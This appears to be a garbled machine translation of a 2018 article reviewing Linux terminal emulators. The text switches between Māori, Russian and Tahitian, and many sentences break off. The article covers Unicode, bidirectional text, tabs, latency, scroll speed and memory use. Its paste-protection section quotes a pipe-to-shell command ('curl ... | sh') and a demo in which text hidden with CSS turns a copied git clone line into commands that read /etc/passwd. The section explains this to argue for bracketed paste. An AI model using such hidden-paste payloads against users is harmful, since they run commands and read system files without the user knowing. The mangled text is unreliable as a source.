He kupu iti mai i ta matou tari whakamaori: ko te nuinga o nga wa ka tohe te katoa ki te whakamaori i nga rauemi me nga whakaputanga hou, a ko matou anake. Engari ko nga waahi kaore he mea ka whakahoutia kotahi i te wiki. Na reira, kua whakamaoritia e matou mo koe tetahi tuhinga na Antoine Beaupré, i whakaputaina i te puna o te tau 2018: ahakoa te nui o te "tau" i runga i nga paerewa hou, ki ta matou whakaaro, kaore i ngaro te whai kiko o te rauemi. I tua atu, ko tenei i te tuatahi he raupapa o nga tuhinga e rua, engari i whakatau matou ki te whakakotahi i a raatau ki tetahi pou nui.
He waahi motuhake nga kopae i roto i te hitori rorohiko, engari i roto i nga tekau tau kua hori ake nei kua pehia ratou ki te ora i te taha o te raina whakahau i te mea ka huri haere nga atanga kauwhata ki nga waahi katoa.
Ko etahi o nga pito he kohao haumarutanga tino miharo, me te nuinga he momo mahi rereke, mai i te tautoko mo te atanga ripa ki te tuhi tuhi. Ahakoa ko tatou
Anei nga pito i arotakehia e au:
Ehara pea enei i nga putanga hou, no te mea he iti noa ahau ki nga hanga pumau i te wa e tuhi ana, i taea e au te huri i runga i Debian 9, Fedora 27 ranei. Ko te mea anake ko Alacritty. He uri no nga kapeka whakatere GPU a kua tuhia ki te reo rerekee, hou hoki mo tenei mahi - Rust. I whakakorehia e au nga kapeka tukutuku mai i taku arotake (tae atu ki era kei runga
Tautoko Waehereao
Свои тесты я начал с поддержки юникода. Первым тестом терминалов было отображение оными строки о юникоде из
Ma te taunoa, ka whakamahia e te xterm te momotuhi "whakatika", e ai ki
I tangohia enei whakaahua i Fedora 27, na te mea he pai ake nga hua i te Debian 9, kaore e taea e etahi o nga waahanga tawhito o nga waahanga (me te mlterm) te whakahaere tika i nga momotuhi. Waimarie i whakatikahia tenei i nga waahanga o muri mai.
Теперь обратите внимание на отображение строки в xterm. Оказывается, символ Mem и следующий за ним Semitic
«Многие компьютерные программы не могут правильно отображать двунаправленный текст. Например, еврейское имя «Сара» состоит из символов син (ש) (который появляется справа), затем реш (ר) и, наконец, хе (ה) (который должен появляться слева)».
He maha nga pito ka hinga i tenei whakamatautau: Alacritty, VTE-ahua Gnome me XFCE terminals, urxvt, st me xterm whakaatu "Sara" i roto i te raupapa whakamuri, me te mea i tuhia e matou te ingoa ko "Aras".
Другая проблема двунаправленных текстов заключается в том, что их надо как-то выровнять, особенно если речь идет о смешении RTL и LTR-текстов. Сценарии RTL должны запускаться с правой стороны окна терминала, но что должно происходить для терминалов, по умолчанию работающих с LTR-английским? Большинство из них не обладают какими-то специальными механизмами и выравнивают весь текст по левому краю (в том числе, и в Konsole). Исключением являются pterm и mlterm, которые придерживаются стандартов и выравнивают такие строки по правому краю.
Parenga whakauru
Ko te waahanga nui e whai ake nei kua tautuhia e au ko te whakamarumaru anti-whakauru. Ahakoa e mohiotia nuitia ana ko nga tohu penei:
$ curl http://example.com/ | sh
he whakahau pana mahi waehere, he iti noa nga tangata e mohio ana ka kuhu nga whakahau huna ki roto i te papatohu i te kape me te whakapiri mai i te kaitirotiro paetukutuku, ahakoa i muri i te ata tirotiro.
git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git
превращается при вставке с сайта Хорна в терминал вот в такую неприятность:
git clone /dev/null;
clear;
echo -n "Hello ";
whoami|tr -d 'n';
echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';
head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
Как это работает? Вредоносный код вынесен в блок , ka nekehia atu i te tirohanga a te kaiwhakamahi ma te whakamahi CSS.
set enable-bracketed-paste on
Ko te mea pouri, ko te waahi whakamatautau a Horn e whakaatu ana me pehea te karo i tenei whakamarumaru ma te whakahōputu kuputuhi ake, ka mutu katahi ka hoatu te aratau Bracketed ki a ia. Ka whai hua tenei na te mea kaore etahi o nga kapeka e tarai tika i nga raupapa mawhiti i mua i te taapiri i a raatau ake. Hei tauira, i roto i taku kaore i taea e au te whakaoti angitu i nga whakamatautau Konsole ahakoa te whirihoranga tika .whakaururc kōnae. Ko te tikanga tenei ka taea e koe te whakakino i to whirihoranga punaha na te mea kaore i tautokona he anga he anga whirihora. He tino kino tenei ina uru ana koe ki roto i nga kaitoro mamao, he iti noa te mahi whirihoranga tupato, ina koa he maha nga miihini mamao penei.
Ko te otinga pai mo tenei raru ko te mono whakapumau whakapiri mo te tauranga urxvt, e tono ana i te whakaaetanga ki te whakauru i nga tuhinga kei roto nga rarangi hou. Kaore i kitea e au tetahi whiringa haumaru ake mo te whakaeke kupu i whakaahuahia e Horn.
Ripa me nga korero
Ko tetahi ahuatanga rongonui i naianei ko te tautoko mo te atanga ripanga, ka tautuhia e matou hei matapihi tauranga kotahi kei roto etahi atu waahanga. He rereke tenei mahi mo nga momo kapeka rereke, a ahakoa karekau e tautokohia nga ripa xterm tuku iho, he maha ake nga whakaurunga kapeka hou penei i te Xfce Terminal, GNOME Terminal me Konsole kei a raatau tenei mahi. Kei te tautoko hoki a Urxvt i nga ripa, engari mena ka whakamahi koe i te mono. Engari mo te tautoko ripa ake, ko Terminator te kaihautu kaore e tautohetohe: ehara i te mea e tautoko ana i nga ripa anake, engari ka taea hoki te whakarite i nga pito ki tetahi ota (tirohia te ahua o raro).
Ko tetahi atu ahuatanga o Terminator ko te kaha ki te "whakarōpū" i enei ripa me te tuku i nga patene kotahi ki nga kapeka maha i te wa kotahi, ka whakarato i tetahi taputapu kino mo te whakahaere i nga mahi nui i runga i nga kaitoro maha i te wa kotahi. Ka whakatinanahia ano he ahuatanga rite ki Konsole. Hei whakamahi i tenei ahuatanga ki etahi atu waahanga, me whakamahi koe i nga rorohiko tuatoru penei i
He pai te mahi o nga ripa ina honoa ki nga korero: hei tauira, ka taea e koe tetahi ripa mo te imeera, tetahi atu mo te korerorero, me era atu. He pai te tautoko e te Konsole Terminal me te GNOME Terminal. Ka whakaaetia e ia ripa ki te whakarewa aunoa i tana ake korero. Kei te tautoko ano a Terminator i nga korero, engari kaore au i kitea he huarahi ki te whakarewa aunoa i etahi papatono ina whakatuwhera koe i tetahi ripa motuhake. Ko etahi atu o nga pito kaore he kaupapa o te "kōtaha" katoa.
Ruffles
Ko te mea whakamutunga ka korerohia e au i te waahanga tuatahi o tenei tuhinga ko te ahua o nga pito. Hei tauira ko te GNOME, Xfce me te urxvt e tautoko ana i te maramatanga, engari no na tata tonu nei i heke ai te tautoko mo nga whakaahua papamuri, ka akiaki etahi kaiwhakamahi ki te huri ki te tauranga.
Некоторые терминалы также анализируют текст на наличие URL-шаблонов, чтобы сделать ссылки кликабельными. Это относится ко всем производным от VTE терминалам, тогда как urxvt требует специальный подключаемый модуль, который бы трансформировал URL-адреса по щелчку или с помощью сочетания клавиш. Другие протестированные мной терминалы отображают URL-адреса иными способами.
Ka mutu, ko te ahua hou i roto i nga pito ko te kowhiringa o te panuku panuku. Hei tauira, karekau he panuku panuku a st; e kiia ana ka whakamahi te kaiwhakamahi i te maha o nga momo kapeka penei i te tmux me te
Kare hoki a Alacritty he putunga panuku, engari
Tuatoru
I te waahanga tuarua o te rauemi (i roto i te taketake e rua enei tuhinga rereke - tata. ara) ka whakatairitehia e matou te mahi, te whakamahi mahara me te roa. Engari kua kite kee tatou ko etahi o nga tauranga e korerohia ana he tino hapa. Hei tauira, ko nga kaiwhakamahi e mahi ana i nga wa katoa me nga tuhinga RTL ka hiahia pea ki te whakaaro ki te mlterm me te pterm, i te mea he pai ake ratou ki te whakahaere i nga mahi rite i era atu. He pai hoki te mahi a Konsole. Ko nga kaiwhakamahi kaore i te mahi me nga tuhinga RTL ka taea te whiriwhiri i tetahi atu mea.
Mo te whakamarumaru ki te whakaurunga waehere kino, ka tu te urxvt na tana whakatinanatanga motuhake o te whakamarumaru ki tenei momo whakaeke, he ahua pai ki ahau. Mo te hunga e rapu ana i etahi pere me nga whiowhio, he pai te titiro a Konsole. Hei whakamutunga, me mahara ko VTE he turanga pai mo nga kapeka, e whakamana ana i te tautoko tae, te tohu URL, me era atu. I te titiro tuatahi, ko te tauranga taunoa ka tae mai me to taiao tino pai ka tutuki nga whakaritenga katoa, engari me waiho tenei patai kia marama ra ano tatou ki te mahi.
Продолжаем разговор
Вообще, производительность терминалов сама по себе может показаться надуманной проблемой, однако, как оказалось, некоторые из них демонстрируют удивительно большую задержку для ПО такого фундаментального типа. Также далее мы рассмотрим то, что традиционно называют «скоростью» (на самом деле, это скорость прокрутки) и потребление терминалом памяти (с оглядкой на то, что сегодня это не так критично, как десятилетия назад).
Te Tuarua
После тщательного исследования производительности терминалов я пришел к выводу, что важнейшим параметров в этом плане является размер задержки (пинг). В своей статье
Engari he aha te torohū, a he aha te mea nui? I roto i tana tuhinga, i kii a Fatin ko "te whakaroa i waenga i te pehi i te taviri me te whakahou mata e rite ana" me te whakahua.
Te faataa ra o Fatin e mea hohonu a‘e te mau faahopearaa o teie ping i te mauruuru-noa-raa: “e mea poihere roa te pato‘iraa, e rahi atu â te mau hape, e e rahi atu â te peapea o te mata e te uaua.” I etahi atu kupu, he roa te roa ka arahi ki te hapa me te iti ake o te kounga o te waehere, na te mea ka nui ake te taumahatanga o te roro. Engari ko te mea kino ko te ping "ka whakanui ake i nga kanohi me nga uaua," e kii ana
Ko etahi o enei paanga kua mohiotia mo te wa roa, me nga hua
Фатин проводил свои тесты на текстовых редакторах; он создал портативный инструмент под названием
А вот результаты моих измерений, а также некоторые результаты Фатина для того, чтобы показать, что мой эксперимент согласуется с его тестами:
Ko te mea tuatahi i pa ki ahau ko te wa whakautu pai ake o nga kaupapa tawhito penei i te xterm me te mlterm. Na te rehitatanga kino rawa atu (2,4 ms), he pai ake ta ratou mahi i te tauranga tere tere (10,6 ms mo te st). Karekau he tauranga hou e taka ki raro i te paepae 10 mirimitapa. Ina koa, kare a Alacritty e tutuki i te kereme "emulator terminal tere e waatea ana", ahakoa kua pai ake ona kaute mai i tana arotake tuatahi i te tau 2017. Ae, ko nga kaituhi o te kaupapa
Heoi ano, kaore pea nga rereketanga e kitea e te kanohi. Ka rite ki ta Fatin e whakamarama ana, "kaore koe e mohio mo te wa roa ka pa ki a koe." Ka whakatupato ano a Fatin mo te ine rerekee: "Ko nga raruraru i roto i te torohūtanga (jitter) ka nui ake te ahotea na runga i to raatau ohorere."
Ko te kauwhata o runga ka mau ki te Debian 9 parakore (toro) me
Te tere panuku
Ko te whakamatautau e whai ake nei ko te whakamatautau "tere" me te "bandwidth" tuku iho, e ine ana i te tere ka taea e te tauranga te panuku i te wharangi i te wa e whakaatu ana i nga tuhinga maha ki te mata. He rereke nga miihini o te whakamatautau; Ko te whakamatautau tuatahi ko te whakaputa noa i te aho kuputuhi kotahi ma te whakamahi i te whakahau seq. Ko etahi atu whakamatautau ko te whakamatautau a Thomas E. Dickey (xterm maintainer), he maha nga wa
I konei ka kite tatou i te rxvt me te st pull i mua i te whakataetae, whai muri ko te Alacritty tino hou ake, i hangaia me te aro ki te mahi. Whai muri ko Xfce (whānau VTE) me Konsole, he tata ki te rua te tere. Ko te whakamutunga ko te xterm, e rima nga wa puhoi ake i te rxvt. I te wa o te whakamatautau, he nui ano te riipene a xterm, he uaua ki te kite i nga kupu whakawhiti ahakoa he rite tonu te rarangi. He tere te Konsole, engari he uaua i etahi wa: ka whakatio te whakaaturanga i ia wa, i ia wa, ka whakaatu i te waahanga tuhinga, kaore ranei e whakaatu. Ko etahi atu pito i whakaatu marama i nga aho, tae atu ki te st, Alacritty, me te rxvt.
Дики объясняет, что различия в производительности связаны с дизайном буферов прокрутки в разных терминалах. В частности, он обвиняет rxvt и другие терминалы в том, что они «не следуют общим правилам»:
"Kaore i rite ki te xterm, kaore a rxvt i ngana ki te whakaatu i nga whakahoutanga katoa. Mena ka taka ki muri, ka kore e whakaae ki etahi whakahou kia mau. He nui ake te paanga o tenei ki runga i te tere o te panuku atu i te whakahaere mahara o roto. Ko tetahi raru ko te ahua o te hākoritanga ASCII kaore i tino tika."
Hei whakatika i te ahua o te ahua o te puhoi xterm, ka whakaaro a Dickey ki te whakamahi i te rauemi
Te whakamahi rauemi
Ahakoa he mea tika ki te whakaaro i te tere panuku hei inenga mahi, ma tenei whakamatautau ka taea e tatou te whakataurite i te uta i runga i nga kapeka, ka taea e tatou te ine i etahi atu tawhā penei i te mahara, te whakamahi kōpae ranei. I whiwhihia nga inenga ma te whakahaere i te whakamatautau kua tohua tuarua i raro i te aroturuki tukanga Python. I kohia e ia nga raraunga mita
I roto i tenei whakamatautau, ko te ST te waahi tuatahi me te iti rawa o te kohinga mahara o te 8 MB, ehara i te mea miharo ki te whakaaro ko te whakaaro nui o te hoahoa he ngawari. Ko te mlterm, te xterm me te rxvt he iti ake te kai - tata ki te 12 MB. Ko tetahi atu hua rongonui ko Alacritty, me 30 MB kia rere. Na kei reira nga pito o te whanau VTE me nga whika mai i te 40 ki te 60 MB, he tino nui. Ka taea te whakamarama i tenei kohi na te mea ka whakamahia e enei waahanga nga whare pukapuka taumata teitei, hei tauira, GTK. Ka tae mai a Konsole me te 65MB nui o te kohi mahara i nga wa o nga whakamatautau, ahakoa ka taea tenei ma te whanui o nga ahuatanga.
Ka whakatauritea ki nga hua o mua i puta i te tekau tau ki muri, ka tiimata nga kaupapa katoa ki te pau te mahara. I whakamahia e Xterm te 4 MB, engari inaianei me 15 MB i te tiimata noa. He rite te pikinga o te kai mo te rxvt, e hiahia ana inaianei ki te 16 MB mai i te pouaka. Ko te Xfce Terminal te 34 MB, e toru nga wa nui ake i te waa o mua, engari ko te GNOME Terminal me 20 MB anake. Ko te tikanga, ko nga whakamatautau katoa o mua i mahia i runga i te hoahoanga 32-bit. I LCA 2012 Rusty Russell
Heoi, kare e taea e au te whakaaro ko te toha atu o nga mahara ki tetahi mea tino nui penei i te tauranga he moumou rauemi. Ko enei kaupapa ko te iti rawa o nga mea iti rawa, me kaha ki te whakahaere i runga i tetahi "pouaka", ahakoa he pouaka hu, mena ka tae mai tatou ki te waahi e tika ana kia whakauruhia ki nga punaha Linux (a ka mohio koe ka pena. ). Engari ma enei nama, ka waiho te whakamahinga mahara hei take a muri ake nei i roto i tetahi taiao e whakahaere ana i nga kapeka maha atu i etahi o nga mea maamaa me te iti rawa o te kaha. Hei utu mo tenei, ko te GNOME Terminal, Konsole, urxvt, Terminator me te Xfce Terminal he aratau Daemon e taea ai e koe te whakahaere i nga pito maha i roto i te mahi kotahi, me te whakaiti i o raatau mahara.
I nga wa o aku whakamatautau, ka tae mai ahau ki tetahi atu hua ohorere e pa ana ki te panui-tuhi kōpae: I tumanako ahau kaore au e kite i tetahi mea i konei, engari ka puta mai ko etahi o nga pito ka tuhi i nga raraunga tino nui ki te kōpae. Na, ko te whare pukapuka VTE kei te pupuri i tetahi panuku panuku i runga i te kōpae (tenei ahuatanga
mutunga
I te waahanga tuatahi o te tuhinga, i kitea e matou he pai nga waahanga o nga waahanga VTE, engari inaianei ka kite matou ka tae mai tenei me etahi utu mahi. Inaianei ehara te mahara i te take na te mea ka taea te whakahaere i nga kapeka VTE katoa na roto i te tukanga Daemon, e whakaiti ana i te hiahia. Heoi, ko nga punaha tawhito he herenga tinana mo te rahinga o te RAM me nga kaarai buffers ka hiahia tonu ki nga putanga o mua o nga kapeka, na te mea he iti rawa nga rauemi e pau ana. Ahakoa he pai te mahi a nga kapeka VTE i roto i nga whakamatautau puta (panuku), kei runga ake o raatau whakaaturanga i te paepae kua whakaritea i roto i te Aratohu Kaiwhakamahi GNOME. Me whai whakaaro pea nga kaiwhakawhanake VTE ki tenei. Mena ka whai whakaaro tatou ahakoa mo nga kaiwhakamahi Linux tauhou e pa ana ki tetahi tauranga kaore e taea te karo, ka taea e raatau te pai ake ki te kaiwhakamahi. Mo nga tohunga mohio, ko te huri mai i te tauranga taunoa ka iti ake te riu o te kanohi me te kaha ki te karo i nga whara me nga mate e pa ana ki te mahi a muri ake nei na te roa o nga wa mahi. Engari, ko te xterm tawhito me te mlterm anake e kawe mai ki te paepae ping makutu o te 10 milliseconds, kaore e whakaaetia mo te tini.
I whakaatuhia ano e nga inenga tohu na te whanaketanga o nga taiao whakairoiro Linux, he maha nga whakatau a nga kaihanga. Ko etahi o nga kaiwhakamahi ka hiahia ki te titiro ki nga kaiwhakahaere matapihi i te wa e whakarato ana ratou i te whakahekenga ping nui. Heoi ano, kaore i taea te ine i te roanga mo Wayland: ko te kaupapa Typometer i whakamahia e au i hangaia mo te aha a Wayland i hoahoa hei aukati: te tutei i etahi atu matapihi. Kei te tumanako ahau he pai ake te mahi tito a Wayland i a X.org, me te tumanako hoki a muri ake nei ka kitea e te tangata he huarahi ki te ine i te roanga o tenei taiao.
Source: will.com